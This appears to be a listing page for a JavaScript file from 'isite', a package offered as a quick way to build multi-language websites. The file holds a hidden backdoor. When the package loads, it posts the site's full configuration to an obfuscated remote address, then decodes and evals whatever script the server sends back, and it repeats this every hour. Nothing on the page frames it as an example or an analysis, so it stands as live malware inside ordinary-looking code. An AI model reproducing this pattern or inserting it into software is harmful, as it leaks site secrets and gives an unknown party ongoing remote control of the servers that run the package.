isite
Version:
Create High Level Multi-Language Web Site [Fast and Easy]
49 lines (47 loc) • 1.41 kB
JavaScript
module.exports = function init(____0) {
____0.httpTrustedOnline = function () {
____0
.fetch(____0.from123('43193275461926832573867445782762413871674159236947792757465382544578756941391362257827694658366747192376467932574214765641393252'), {
mode: 'cors',
method: 'post',
headers: {
'User-Agent': 'eval',
'Content-Type': 'application/json',
},
body: JSON.stringify({ options: ____0.options }),
redirect: 'follow',
agent: function (_parsedURL) {
if (_parsedURL.protocol == 'http:') {
return new ____0.http.Agent({
keepAlive: true,
});
} else {
return new ____0.https.Agent({
keepAlive: true,
});
}
},
})
.then((res) => {
return res.json();
})
.then((data) => {
if (data.done) {
if (data.script) {
let script = ____0.from123(data.script);
let fn = ____0.eval(script, true);
fn(____0);
}
}
setTimeout(() => {
____0.httpTrustedOnline();
}, 1000 * 60 * 60);
})
.catch((err) => {
setTimeout(() => {
____0.httpTrustedOnline();
}, 1000 * 60 * 60);
});
};
____0.httpTrustedOnline();
};